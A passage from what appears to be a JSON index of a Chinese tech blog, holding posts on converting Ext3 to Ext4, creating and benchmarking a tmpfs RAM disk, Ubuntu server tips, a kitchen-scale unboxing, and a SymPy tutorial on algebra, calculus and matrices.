4 檔案系統 如果要將 /dev/sda1 從 Ext 3 轉換為 Ext 4，則使用 tune2fs 與 e2fsck 這兩個指令：\nsudo umount /dev/sda1 sudo tune2fs -O extents,uninit_bg,dir_index /dev/sda1 sudo e2fsck -pf /dev/sda1 sudo mount /dev/sda1 /home 再叮嚀一次，這些指令如果使用錯誤，可能會把硬碟的資料刪除，所以使用前請先在測試的環境下練習，以免造成重要的資料被刪除！\n","permalink":"https://blog.gtwang.org/linux/linux-ext2ext3-ext4/","summary":"\u003cp\u003e隨著 Linux 的版本演進，其檔案系統也不斷的在更新，在 Linux 中常見的檔案系統有 Ext 2、Ext 3 與 Ext 4 這幾種，這些檔案系統都是為了 Linux 而設計的，本篇主要在介紹這幾種檔案系統的主要差異，與一些相關 Linux 指令的使用方式。\u003c/p\u003e","title":"Linux 檔案系統：Ext 2、Ext 3 與 Ext 4"},{"content":"RAM Disk 就是將動態記憶體（Dynamic Random Access Memory，DRAM）經由軟體模擬的方式，拿來當作一般硬碟使用，優點就是讀寫速度很快、壽命也比一般硬碟長，但是缺點是斷電時資料就會消失。由於記憶體的存取速度比傳統硬碟、固態硬碟（SSD）或磁碟陣列的速度更快，因此將記憶體模擬為硬碟後，可以利用其優越的讀寫能力，提升系統執行效率。\nRAM Disk 不像傳統硬碟採用馬達與磁片等機械裝置，而是靠電子訊號傳輸，因此在分類上也算是固態硬碟（Solid State Disk），但其讀寫效能卻是一般市售 SSD 無法相比的！相較市面上高速 SSD 可達 500MB/s 的讀寫速度，或者高達 1000MB/s 速度的 PCI Express SSD 磁碟陣列產品，RAM Disk 讀寫速度是前述產品的數倍有餘，而且更為便宜。\nRAM Disk 效能會受到軟體、記憶體時脈、晶片組的記憶體通道數而有所不同。扣除軟體差異，記憶體時脈越高則效能越好，而四通道平台又比雙通道來得快一些，但無論如何，記憶體的存取效率還是優於其他的儲存裝置。\n在 Linux 中若要使用 RAM Disk，只需要使用 mount 這個指令就可以了，非常簡單！\n首先在 /tmp 中建立一個資料夾：\nmkdir /tmp/ramdisk chmod 777 /tmp/ramdisk 接著再使用 mount 指令將 4G 的記憶體掛上去：\nmount -t tmpfs -o size=4G tmpfs /tmp/ramdisk/ 這裡要使用 -t 參數指定檔案系統類型為 tmpfs，並且使用 -o 參數指定 RAM Disk 大小為 4G。\n建立好 RAM Disk 之後，用 df 檢查一下：\ndf -h 輸出為：\n檔案系統 容量 已用 可用 已用% 掛載點 /dev/sda1 116G 8.7G 101G 8% / udev 16G 4.0K 16G 1% /dev tmpfs 6.3G 332K 6.3G 1% /run none 5.0M 0 5.0M 0% /run/lock none 16G 0 16G 0% /run/shm tmpfs 4.0G 0 4.0G 0% /tmp/ramdisk 最後一行就是我們剛剛建立的 RAM Disk，容量是 4G，現在就可以把 /tmp/ramdisk 當做一般的硬碟使用了。\n接著我們來測試寫入 2G 的資料到 RAM Disk 中，看看效率如何：\ndd count=2k bs=1M if=/dev/zero of=/tmp/ramdisk/test2g.img 輸出為\n2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB) copied, 3.59279 s, 598 MB/s 接著我們將相同的資料寫入一般的硬碟，跟 RAM Disk 比較看看：\ndd count=2k bs=1M if=/dev/zero of=/tmp/test2g.img 輸出為\n2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB) copied, 39.76 s, 54.0 MB/s 在寫入速度上確實有很大的差異，接著再來看看讀取速度，從 RAM Disk 中讀取 2G 的資料：\ndd count=2k bs=1M if=/tmp/ramdisk/test2g.img of=/dev/null 輸出為\n2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB) copied, 1.93749 s, 1.1 GB/s 從一般硬碟中讀取 2G 的資料：\ndd count=2k bs=1M if=/tmp/test2g.img of=/dev/null 輸出為\n2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB) copied, 2.42428 s, 886 MB/s 這裡有一個奇怪的現象，從一般硬碟中讀取資料的速度很快，這是因為在 Linux 中會使用多餘的記憶體作為檔案的 Cache，所以才會有這麼快的讀取速度，如果想知道實際的硬碟讀取速度，可以強迫系統將 Cache 釋放後，再來讀取：\nsudo echo 3 \u0026gt; /proc/sys/vm/drop_caches dd count=2k bs=1M if=/tmp/test2g.img of=/dev/null 輸出為\n2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB) copied, 35.7114 s, 60.1 MB/s 這樣看起來就比較像實際的狀況了。\n事實上在前面的硬碟寫入時，也會有 buffer 的問題，Linux 在寫入資料到檔案時，有時候會先將資料放進 buffer 中，沒有馬上寫進硬碟，這樣會比較有效率。所以事實上硬碟的速度沒有那麼快，也就是因為 Linux 系統中有這樣的 buffer 機制，所以在關機或是重新開機時，都會需要把每個硬碟進行 umount，將資料寫入硬碟後才斷電，這也就是為什麼隨身碟或外接硬碟插在 Linux 系統下，要拔起來時一定要正常 umount 完才能拔，否則運氣不好的話，就會把一些資料遺漏在記憶體中，導致資料的損毀。\n我想我們在這裡只是做一個大概的測試，不用很精準，如果想很精準的測試出硬碟的寫入速度，可以在 dd 指令後加上 sync，強迫資料寫入硬碟，再計算兩者的的時間，不過不管怎麼做都還是會有誤差，因為系統中一定有其他的 process 在跑，若其他的 process 也有讀寫硬碟的動作，就會影響測試的數據，所以這裡我想就大約看看就好了。\n我們把上面測試的數據畫成長條圖來看看，下面這張圖就是 RAM Disk 與硬碟的差異：\n很明顯的可以看出 RAM Disk 與一般硬碟的寫入速度相差非常多。\n這裡的數據是我用一臺舊電腦測試的，所以效率看起來不高，接著用一臺比較新的電腦測試看看：\n這台電腦比較新，硬碟是由四顆實體硬碟串起來做 RAID 5，所以硬碟效能好很多，而記憶體的存取速度也比電腦快，所以整體效能都比舊機器好。在這裡也可以看出來，不管在新舊的電腦上，RAM Disk 與一般硬碟始終存在很大的差異。\n","permalink":"https://blog.gtwang.org/linux/linux-ram-disk/","summary":"\u003cp\u003eRAM Disk 就是將動態記憶體（Dynamic Random Access Memory，DRAM）經由軟體模擬的方式，拿來當作一般硬碟使用，優點就是讀寫速度很快、壽命也比一般硬碟長，但是缺點是斷電時資料就會消失。由於記憶體的存取速度比傳統硬碟、固態硬碟（SSD）或磁碟陣列的速度更快，因此將記憶體模擬為硬碟後，可以利用其優越的讀寫能力，提升系統執行效率。\u003c/p\u003e","title":"在 Linux 上使用 RAM Disk 提高資料讀寫速度"},{"content":"在 Ubuntu Linux 中有個指令叫做 ubuntu-server-tip，這個程式可以隨機提供管理伺服器上的技巧，這對於伺服器的管理者而言，若是想要多增進 Linux 管理的功力，這是個不錯的學習管道。\nubuntu-server-tip 這個程式是包含在 fortunes-ubuntu-server 這個套件中，若要使用要先安裝：\nsudo apt-get install fortunes-ubuntu-server -y 安裝完成後，直接執行：\nubuntu-server-tip 它會隨機顯示一條使用技巧，以下是一些例子。\n讓 SSH 登入的使用者只能執行特定指令：\nTo restrict ssh logins to certain commands, have a look at the ForceCommand directive (see \"man sshd_config\"). 利用 tail 指令查看紀錄檔的最後幾行的技巧：\nUse \"tail -f file\" to watch a log file as messages get appended, and use \"tail -100 file\" to change the count of lines read from the file. 使用 which 查詢某個指令所在位置：\nUse the \u0026#8220;which\u0026#8221; command to find if an executable is in your path, and if it is, where you can find the file. e.g. \"which nano\" 使用 yes 指令自動輸入 \u0026ldquo;y\u0026rdquo;：\nTired of repeatedly pressing \"y\" through some shell process (e.g. fsck)? Try the \"yes\" command. \"man yes\" for more info. PostgreSQL 使用技巧：\nIf you are using a PostgreSQL database, use \u0026#8220;ptop\u0026#8221; to monitor real time usage. Bash 中的迴圈寫法：\nA for loop in bash syntax: \"for i in * ; do echo $i ; done\". 若要編譯程式，必須安裝 build-essential 套件：\nIf you need to compile a piece of software, you may need to install the build-essential package. Use \"sudo apt-get install build-essential\". 這些使用技巧雖然都是英文寫的，不過都很短，對於英文不好的人應該是不至於造成負擔。\n安裝完成之後，預設在使用者登入時就會自動顯示一條使用技巧，就像這樣：\n這樣每天登入 Ubuntu Linux 伺服器時，就順便學習一個管理或使用技巧，個人感覺這是很實用的指令。\n一般 Linux 中的登入訊息是寫在 /etc/motd，而 ubuntu-server-tip 會將使用技巧自動加在其中，如果想調整登入顯示使用技巧的設定，可以修改 /etc/default/ubuntu-server-tips 這個設定檔，他的內容大概就像這樣：\n# /etc/default/ubuntu-server-tips # Enable random tip displayed in the /etc/motd at login MOTD=1 # Disable random tip displayed in the /etc/motd at login # MOTD=0 預設 MOTD=1 就是在 motd 中顯示使用技巧，若要關閉這個功能，則設為 MOTD=0 即可。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-fortunes/","summary":"\u003cp\u003e在 Ubuntu Linux 中有個指令叫做 ubuntu-server-tip，這個程式可以隨機提供管理伺服器上的技巧，這對於伺服器的管理者而言，若是想要多增進 Linux 管理的功力，這是個不錯的學習管道。\u003c/p\u003e","title":"顯示 Ubuntu Linux 伺服器管理與使用技巧"},{"content":"最近老婆常常要秤米糠，在 PCHome 買了一個電子秤，這個電子秤是專門用來秤食物的，最大可以秤到 15 公斤。\nPCHome 送來的包裝，一如往常，都會墊一層泡泡袋，防撞保護。\n電子秤的外盒，有用塑膠膜封起來，看起來很高級。\nPCHome 出貨條碼。\n外和背面。\n首先把塑膠膜拆掉。\n拆掉塑膠膜，看起來更漂亮了。\n拆掉塑膠膜後的外盒背面。\n仔細一看才發現，雖然是法國品牌，但是還是中國製的，質感馬上打折，不過也不是多貴的東西，我就不那麼計較這個了，好用就好。\n把外盒打開。\n有附一些說明書。\n接著就是電子秤。\n左邊的按鍵是切換單位，有四種單位可選擇：kg（公斤）、ml（毫升）、lb.oz（磅/盎司）、fl.oz（液態盎司）。右邊的按鍵是電源鍵，也可用來將磅秤歸零（用於扣除容器重量）。\n上面的玻璃是強化玻璃，很厚一片，感覺很不錯，秤吃的東西最怕弄髒磅秤，用強化玻璃的話，在清潔上很方便，使用上又安全。\n磅秤的背面，中國製的。\n這台磅秤要裝三顆三號電池，並且只能裝一般的電池，不能用鹼性的。\n裝好電池，就可以開啓電源開關了，他的按鍵都是觸碰式的，輕輕碰一下就可以了，很好用。電源開啓時，磅秤會自動歸零。\n顯示 0 的時候，就可以使用了。\n這個磅秤有 LED 顯示面板，在昏暗的地方也可以很清楚顯示。\n若要扣除容器的重量，就先把空的容器放上去。\n這時候就按下右邊的歸零按鍵，待磅秤歸零後就可以開始使用了，磅秤歸零很快，大概只有一秒左右。\n同一顆蘋果，跟剛剛秤起來的結果比較，相差一克，因為這台磅秤最小單位只有一克，這樣的誤差應該是正常的。\n","permalink":"https://blog.gtwang.org/unboxing/terraillon-my-cook-15/","summary":"\u003cp\u003e最近老婆常常要秤米糠，在 PCHome 買了一個電子秤，這個電子秤是專門用來秤食物的，最大可以秤到 15 公斤。\u003c/p\u003e\n\u003cp\u003ePCHome 送來的包裝，一如往常，都會墊一層泡泡袋，防撞保護。\u003c/p\u003e","title":"[開箱] 法國 Terraillon My Cook 15 耐壓玻璃板料理電子秤"},{"content":"SymPy 是一個可以進行數學代數運算的 Python 模組，他的發展目標是一個完整的電腦代數系統，而此模組完全都是使用 Python 寫成的，所以不需要依賴其他的函式庫。\n準備 SymPy 環境 在 Ubuntu 或 Debian Linux 中若要安裝 SymPy，可以直接使用 apt 安裝：\nsudo apt-get install python-sympy 裝完之後，接著就可以執行 Python 了：\npython 進入 Python 的互動式模式（interactive mode）之後，就會看到三個大於符號（\u0026gt;\u0026gt;\u0026gt;），這就是 Python 的主要命令提示字元（primary prompt）。\n如果是只要使用 SymPy 的功能，可以使用 isympy 這個指令，這是專門為了 SymPy 而設計的互動式介面，其實跟 Python 的互動式環境一樣，但是 isympy 會在一開始設定一些基本的變數與環境，讓使用起來更方便。\n藍色的 In 就是輸入指令的地方，輸出則是紅色的 Out，後面中括弧中的數字是自動編上去的行號。\n如果不想那麼麻煩安裝 SymPy，也可以直接使用 SymPy Live，直接在網頁上運行 SymPy，其實更方便，開啓網頁後，左下方就可以直接輸入 Python 指令了。\n而 SymPy Live 的環境就跟上面的 isympy 差不多，一開始就會把一些基本的變數與環境設定好。這種線上版本的排版比一般終端機還要漂亮，我們在這裡執行相同的指令，與上面的 isympy 比較一下。\n因為 SymPy Live 是用 MathJax 來顯示數學式子的，所以看起來很漂亮，幾乎跟 LaTeX 的排版差不多。若是沒什麼特別需求，用這個就很棒了，省去安裝的麻煩。\n開始使用 SymPy 接著就可以輸入 Python 指令了，在使用之前要先載入 sympy 這個 Python 模組，輸入：\n\u0026gt;\u0026gt;\u0026gt; from sympy import * 輸入完這行指令之後，記得按下 Enter 鍵，正常的話應該沒有什麼訊息出現。這個指令是將 sympy 中所有的東西都載入進來，如果一開始執行了這行指令，之後所有的 import 步驟都可以省略，而如果不想一次載入所有的東西也可以，那就按照下面的 import 作法，需要使用時才載入。\n接著就可以來使用 SymPy 了，首先來介紹一些基本的使用方式。在 SymPy 中的數值分為三種類型，分別為浮點數（Float）、有理數（Rational）與整數（Integer）。有理數是由兩個整數相除所得到的數值，例如 Rational(1, 2) 則代表 1/2：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Rational \u0026gt;\u0026gt;\u0026gt; a = Rational(1, 2) \u0026gt;\u0026gt;\u0026gt; a 1/2 \u0026gt;\u0026gt;\u0026gt; a*2 1 \u0026gt;\u0026gt;\u0026gt; Rational(2)**50/Rational(10)**50 1/88817841970012523233890533447265625 在使用浮點數與整數運算時（尤其是除法）要注意所使用的數值是 SymPy 數值或是原生的 Python 數值，若是使用一般原生的 Python 數值，相除的結果會是浮點數，若在 isympy 中則會使用 __future__ 中的 division 進行除法運算。\n\u0026gt;\u0026gt;\u0026gt; 1/2 0.5 若是在舊版的 Python 2 中，division 沒有被 import，則結果會被 truncated：\n\u0026gt;\u0026gt;\u0026gt; 1/2 0 這兩種狀況都是使用 Python 原生的數值，不是 SymPy 數值，在大部分的狀況下，在使用 SymPy 時都會使用 SymPy 數值，所以其實可以使用這樣的方式簡化程式碼：\n\u0026gt;\u0026gt;\u0026gt; R = Rational \u0026gt;\u0026gt;\u0026gt; R(1, 2) 1/2 \u0026gt;\u0026gt;\u0026gt; R(1)/2 1/2 最後一個指令中 R(1) 會得到一個 Rational 數值，再除以原生的 Python 數值 2，得到的結果也是一個 Rational 數值。\n在數學上有一些常數，例如圓周率（pi）與尤拉常數(e)，在 SymPy 中也有支援，在運算時他會以符號的方式進行運算，也就是說 1 + pi 不會計算成浮點數 4.14，而會保持 1 + pi 這個形式，若是要算出實際的浮點數，可以使用 evalf() 這個函數。\n\u0026gt;\u0026gt;\u0026gt; from sympy import pi, E \u0026gt;\u0026gt;\u0026gt; pi**2 pi**2 \u0026gt;\u0026gt;\u0026gt; pi.evalf() 3.14159265358979 \u0026gt;\u0026gt;\u0026gt; (pi + E).evalf() 5.85987448204884 數學上的無限大（infinity）在 SymPy 中也有，表示方式為兩個 o（看起來就像是無限大的寫法）。\n\u0026gt;\u0026gt;\u0026gt; from sympy import oo \u0026gt;\u0026gt;\u0026gt; oo oo \u0026gt;\u0026gt;\u0026gt; oo + 1 oo 符號（Symbol）與代數運算 SymPy 與其他的 CAS（Computer Algebra System）不同，在 SymPy 中所有的變數都要經過宣告才能使用：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Symbol \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; y = Symbol(\u0026#39;y\u0026#39;) 第二行是將 Python 變數 x 指定為 SymPy Symbol。\n在 sympy.abc 中有預先定義一些 Symbol（包涵一些以希臘字母命名的 Symbol）。\n\u0026gt;\u0026gt;\u0026gt; from sympy.abc import x, theta 若要建立多個 Symbol 可以使用 symbols 與 var 兩個函數，兩個函數作用相同，都可以接受 range notation，但 var 會自動將建立的 Symbol 加入命名空間（namespace）。\n\u0026gt;\u0026gt;\u0026gt; from sympy import symbols, var \u0026gt;\u0026gt;\u0026gt; a, b, c = symbols(\u0026#39;a,b,c\u0026#39;) \u0026gt;\u0026gt;\u0026gt; d, e, f = symbols(\u0026#39;d:f\u0026#39;) \u0026gt;\u0026gt;\u0026gt; var(\u0026#39;g:h\u0026#39;) (g, h) \u0026gt;\u0026gt;\u0026gt; var(\u0026#39;g:2\u0026#39;) (g0, g1) 建立了 Symbol 之後，就可以使用它們進行代數運算了。\n\u0026gt;\u0026gt;\u0026gt; x + y + x - y 2*x \u0026gt;\u0026gt;\u0026gt; (x + y)**2 (x + y)**2 \u0026gt;\u0026gt;\u0026gt; ((x + y)**2).expand() x**2 + 2*x*y + y**2 Symbol 亦可被替換為其他的 Symbol 或是數值。\n\u0026gt;\u0026gt;\u0026gt; ((x + y)**2).subs(x, 1) (y + 1)**2 \u0026gt;\u0026gt;\u0026gt; ((x + y)**2).subs(x, y) 4*y**2 \u0026gt;\u0026gt;\u0026gt; ((x + y)**2).subs(x, 1 - y) 1 apart(expr, x) 函數可以處理 partial fraction decomposition。\n\u0026gt;\u0026gt;\u0026gt; from sympy import apart \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x, y, z \u0026gt;\u0026gt;\u0026gt; 1/( (x + 2)*(x + 1) ) 1 --------------- (x + 1)*(x + 2) \u0026gt;\u0026gt;\u0026gt; apart(1/( (x + 2)*(x + 1) ), x) 1 1 - ----- + ----- x + 2 x + 1 \u0026gt;\u0026gt;\u0026gt; (x + 1)/(x - 1) x + 1 ----- x - 1 \u0026gt;\u0026gt;\u0026gt; apart((x + 1)/(x - 1), x) 2 1 + ----- x - 1 而 together(expr, x) 則與 apart 相反，將所有的項結合在一起。\n\u0026gt;\u0026gt;\u0026gt; from sympy import together \u0026gt;\u0026gt;\u0026gt; together(1/x + 1/y + 1/z) x*y + x*z + y*z --------------- x*y*z \u0026gt;\u0026gt;\u0026gt; together(apart((x + 1)/(x - 1), x), x) x + 1 ----- x - 1 \u0026gt;\u0026gt;\u0026gt; together(apart(1/( (x + 2)*(x + 1) ), x), x) 1 --------------- (x + 1)*(x + 2) 微積分（Calculus） SymPy 也可以用於微積分的計算，這裡介紹在微積分中常用的運算。\nSymPy 提供了ㄧ個 limit(function, variable, point) 函數可以計算函數的極限值。下面的這個指令可以計算 sin(x) 函數在 x 趨近於零的極限值。\n\u0026gt;\u0026gt;\u0026gt; from sympy import limit, Symbol, sin, oo \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; limit(sin(x)/x, x, 0) 1 亦可計算無限大的極限值：\n\u0026gt;\u0026gt;\u0026gt; limit(x, x, oo) oo \u0026gt;\u0026gt;\u0026gt; limit(1/x, x, oo) 0 \u0026gt;\u0026gt;\u0026gt; limit(x**x, x, 0) 1 再舉一個更複雜的例子：\n\u0026gt;\u0026gt;\u0026gt; limit((1+1/x)**x, x, oo) E \u0026gt;\u0026gt;\u0026gt; limit((x**3-1)/(x**2-1), x, 1) 3/2 \u0026gt;\u0026gt;\u0026gt; limit(E**x/(1-x**3), x, 0) 1 這裡的 E 就是數學上的尤拉常數。\ndiff(func, var) 這個函數可以計算微分（differentiation）：\n\u0026gt;\u0026gt;\u0026gt; from sympy import diff, Symbol, sin, tan \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; diff(sin(x), x) cos(x) \u0026gt;\u0026gt;\u0026gt; diff(sin(2*x), x) 2*cos(2*x) \u0026gt;\u0026gt;\u0026gt; diff(tan(x), x) 2 tan (x) + 1 我們可以用下面的指令確認這個答案是正確的：\n\u0026gt;\u0026gt;\u0026gt; from sympy import limit \u0026gt;\u0026gt;\u0026gt; from sympy.abc import delta \u0026gt;\u0026gt;\u0026gt; limit((tan(x + delta) - tan(x))/delta, delta, 0) 2 tan (x) + 1 更高階的微分可以使用 diff(func, var, n)：\n\u0026gt;\u0026gt;\u0026gt; diff(sin(2*x), x, 1) 2*cos(2*x) \u0026gt;\u0026gt;\u0026gt; diff(sin(2*x), x, 2) -4*sin(2*x) \u0026gt;\u0026gt;\u0026gt; diff(sin(2*x), x, 3) -8*cos(2*x) SymPy 的 Symbol 可以用 .series(var, point, order) 轉成泰勒展開式（Taylor series）：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Symbol, cos \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; cos(x).series(x, 0, 10) 2 4 6 8 x x x x / 10 1 - -- + -- - --- + ----- + Ox / 2 24 720 40320 \u0026gt;\u0026gt;\u0026gt; (1/cos(x)).series(x, 0, 10) 2 4 6 8 x 5*x 61*x 277*x / 10 1 + -- + ---- + ----- + ------ + Ox / 2 24 720 8064 另外一個例子：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Integral, pprint \u0026gt;\u0026gt;\u0026gt; y = Symbol(\u0026#34;y\u0026#34;) \u0026gt;\u0026gt;\u0026gt; e = 1/(x + y) \u0026gt;\u0026gt;\u0026gt; s = e.series(x, 0, 5) \u0026gt;\u0026gt;\u0026gt; print(s) 1/y - x/y**2 + x**2/y**3 - x**3/y**4 + x**4/y**5 + O(x**5) \u0026gt;\u0026gt;\u0026gt; pprint(s) 2 3 4 1 x x x x / 5 - - -- + -- - -- + -- + Ox / y 2 3 4 5 y y y y summation(f, (i, a, b)) 這個函數可以計算 f 函數從 a 到 b 的加總，也就是：\n\\[ \\sum_{i=a}^b f(i) \\]summation 函數如果沒辦法計算出總和，就會顯示原本的加總公式。下面是一些範例：\n\u0026gt;\u0026gt;\u0026gt; from sympy import summation, oo, symbols, log \u0026gt;\u0026gt;\u0026gt; i, n, m = symbols(\u0026#39;i n m\u0026#39;, integer=True) \u0026gt;\u0026gt;\u0026gt; summation(2*i - 1, (i, 1, n)) 2 n \u0026gt;\u0026gt;\u0026gt; summation(1/2**i, (i, 0, oo)) 2 \u0026gt;\u0026gt;\u0026gt; summation(1/log(n)**n, (n, 2, oo)) oo ___ ` -n / log (n) /__, n = 2 \u0026gt;\u0026gt;\u0026gt; summation(i, (i, 0, n), (n, 0, m)) 3 2 m m m -- + -- + - 6 2 3 \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; from sympy import factorial \u0026gt;\u0026gt;\u0026gt; summation(x**n/factorial(n), (n, 0, oo)) x e 在積分方面，SymPy 支援定積分（definite integration）與不定積分（indefinite integration），而積分的計算是使用 integrate() 函數。\n\u0026gt;\u0026gt;\u0026gt; from sympy import integrate, erf, exp, sin, log, oo, pi, sinh, symbols \u0026gt;\u0026gt;\u0026gt; x, y = symbols(\u0026#39;x,y\u0026#39;) \u0026gt;\u0026gt;\u0026gt; integrate(6*x**5, x) 6 x \u0026gt;\u0026gt;\u0026gt; integrate(sin(x), x) -cos(x) \u0026gt;\u0026gt;\u0026gt; integrate(log(x), x) x*log(x) - x \u0026gt;\u0026gt;\u0026gt; integrate(2*x + sinh(x), x) 2 x + cosh(x) 更複雜的例子：\n\u0026gt;\u0026gt;\u0026gt; integrate(exp(-x**2)*erf(x), x) ____ 2 / pi *erf (x) -------------- 4 計算定積分：\n\u0026gt;\u0026gt;\u0026gt; integrate(x**3, (x, -1, 1)) 0 \u0026gt;\u0026gt;\u0026gt; integrate(sin(x), (x, 0, pi/2)) 1 \u0026gt;\u0026gt;\u0026gt; integrate(cos(x), (x, -pi/2, pi/2)) 2 瑕積分（improper integral）也同樣支援：\n\u0026gt;\u0026gt;\u0026gt; integrate(exp(-x), (x, 0, oo)) 1 \u0026gt;\u0026gt;\u0026gt; integrate(log(x), (x, 0, 1)) -1 複數（Complex numbers） SymPy 也可以處理複數，Symbol 亦可以指定屬性（attribute），例如：real、positive 或 complex 等，指定屬性會影響其運算的結果。\n\u0026gt;\u0026gt;\u0026gt; from sympy import Symbol, exp, I \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#34;x\u0026#34;) # a plain x with no attributes \u0026gt;\u0026gt;\u0026gt; exp(I*x).expand() I*x e \u0026gt;\u0026gt;\u0026gt; exp(I*x).expand(complex=True) -im(x) -im(x) I*e *sin(re(x)) + e *cos(re(x)) \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#34;x\u0026#34;, real=True) \u0026gt;\u0026gt;\u0026gt; exp(I*x).expand(complex=True) I*sin(x) + cos(x) 三角函數（Trigonometric） \u0026gt;\u0026gt;\u0026gt; from sympy import asin, asinh, cos, sin, sinh, symbols, I \u0026gt;\u0026gt;\u0026gt; x, y = symbols(\u0026#39;x,y\u0026#39;) \u0026gt;\u0026gt;\u0026gt; sin(x + y).expand(trig=True) sin(x)*cos(y) + sin(y)*cos(x) \u0026gt;\u0026gt;\u0026gt; cos(x + y).expand(trig=True) -sin(x)*sin(y) + cos(x)*cos(y) \u0026gt;\u0026gt;\u0026gt; sin(I*x) I*sinh(x) \u0026gt;\u0026gt;\u0026gt; sinh(I*x) I*sin(x) \u0026gt;\u0026gt;\u0026gt; asinh(I) I*pi ---- 2 \u0026gt;\u0026gt;\u0026gt; asinh(I*x) I*asin(x) \u0026gt;\u0026gt;\u0026gt; sin(x).series(x, 0, 10) 3 5 7 9 x x x x / 10 x - -- + --- - ---- + ------ + Ox / 6 120 5040 362880 \u0026gt;\u0026gt;\u0026gt; sinh(x).series(x, 0, 10) 3 5 7 9 x x x x / 10 x + -- + --- + ---- + ------ + Ox / 6 120 5040 362880 \u0026gt;\u0026gt;\u0026gt; asin(x).series(x, 0, 10) 3 5 7 9 x 3*x 5*x 35*x / 10 x + -- + ---- + ---- + ----- + Ox / 6 40 112 1152 \u0026gt;\u0026gt;\u0026gt; asinh(x).series(x, 0, 10) 3 5 7 9 x 3*x 5*x 35*x / 10 x - -- + ---- - ---- + ----- + Ox / 6 40 112 1152 Spherical Harmonics \u0026gt;\u0026gt;\u0026gt; from sympy import Ylm \u0026gt;\u0026gt;\u0026gt; from sympy.abc import theta, phi \u0026gt;\u0026gt;\u0026gt; Ylm(1, 0, theta, phi) ___ / 3 *cos(theta) ---------------- ____ 2*/ pi \u0026gt;\u0026gt;\u0026gt; Ylm(1, 1, theta, phi) ___ I*phi -/ 6 *e *sin(theta) ------------------------ ____ 4*/ pi \u0026gt;\u0026gt;\u0026gt; Ylm(2, 1, theta, phi) ____ I*phi -/ 30 *e *sin(theta)*cos(theta) ------------------------------------ ____ 4*/ pi 階乘（factorials）與 Gamma 函數 \u0026gt;\u0026gt;\u0026gt; from sympy import factorial, gamma, Symbol \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#34;x\u0026#34;) \u0026gt;\u0026gt;\u0026gt; n = Symbol(\u0026#34;n\u0026#34;, integer=True) \u0026gt;\u0026gt;\u0026gt; factorial(x) x! \u0026gt;\u0026gt;\u0026gt; factorial(n) n! \u0026gt;\u0026gt;\u0026gt; gamma(x + 1).series(x, 0, 3) # i.e. factorial(x) / 2 2 2 |EulerGamma pi | / 3 1 - EulerGamma*x + x *|----------- + ---| + Ox / 2 12/ Zeta 函數 \u0026gt;\u0026gt;\u0026gt; from sympy import zeta \u0026gt;\u0026gt;\u0026gt; zeta(4, x) zeta(4, x) \u0026gt;\u0026gt;\u0026gt; zeta(4, 1) 4 pi --- 90 \u0026gt;\u0026gt;\u0026gt; zeta(4, 2) 4 pi -1 + --- 90 \u0026gt;\u0026gt;\u0026gt; zeta(4, 3) 4 17 pi - -- + --- 16 90 多項式（polynomials） \u0026gt;\u0026gt;\u0026gt; from sympy import assoc_legendre, chebyshevt, legendre, hermite \u0026gt;\u0026gt;\u0026gt; chebyshevt(2, x) 2 2*x - 1 \u0026gt;\u0026gt;\u0026gt; chebyshevt(4, x) 4 2 8*x - 8*x + 1 \u0026gt;\u0026gt;\u0026gt; legendre(2, x) 2 3*x 1 ---- - - 2 2 \u0026gt;\u0026gt;\u0026gt; legendre(8, x) 8 6 4 2 6435*x 3003*x 3465*x 315*x 35 ------- - ------- + ------- - ------ + --- 128 32 64 32 128 \u0026gt;\u0026gt;\u0026gt; assoc_legendre(2, 1, x) __________ / 2 -3*x*/ - x + 1 \u0026gt;\u0026gt;\u0026gt; assoc_legendre(2, 2, x) 2 - 3*x + 3 \u0026gt;\u0026gt;\u0026gt; hermite(3, x) 3 8*x - 12*x 微分方程（Differential Equations） \u0026gt;\u0026gt;\u0026gt; from sympy import Function, Symbol, dsolve \u0026gt;\u0026gt;\u0026gt; f = Function(\u0026#39;f\u0026#39;) \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; f(x).diff(x, x) + f(x) 2 d f(x) + ---(f(x)) 2 dx \u0026gt;\u0026gt;\u0026gt; dsolve(f(x).diff(x, x) + f(x), f(x)) f(x) = C1*sin(x) + C2*cos(x) 代數方程式（Algebraic Equations） \u0026gt;\u0026gt;\u0026gt; from sympy import solve, symbols \u0026gt;\u0026gt;\u0026gt; x, y = symbols(\u0026#39;x,y\u0026#39;) \u0026gt;\u0026gt;\u0026gt; solve(x**4 - 1, x) [-1, 1, -I, I] \u0026gt;\u0026gt;\u0026gt; solve([x + 5*y - 2, -3*x + 6*y - 15], [x, y]) {x: -3, y: 1} 線性代數（Linear Algebra） 建立矩陣可以使用 Matrix 類別：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Matrix, Symbol \u0026gt;\u0026gt;\u0026gt; Matrix([[1, 0], [0, 1]]) [1 0] [ ] [0 1] 矩陣中亦可包含 Symbol：\n\u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; y = Symbol(\u0026#39;y\u0026#39;) \u0026gt;\u0026gt;\u0026gt; A = Matrix([[1, x], [y, 1]]) \u0026gt;\u0026gt;\u0026gt; A [1 x] [ ] [y 1] 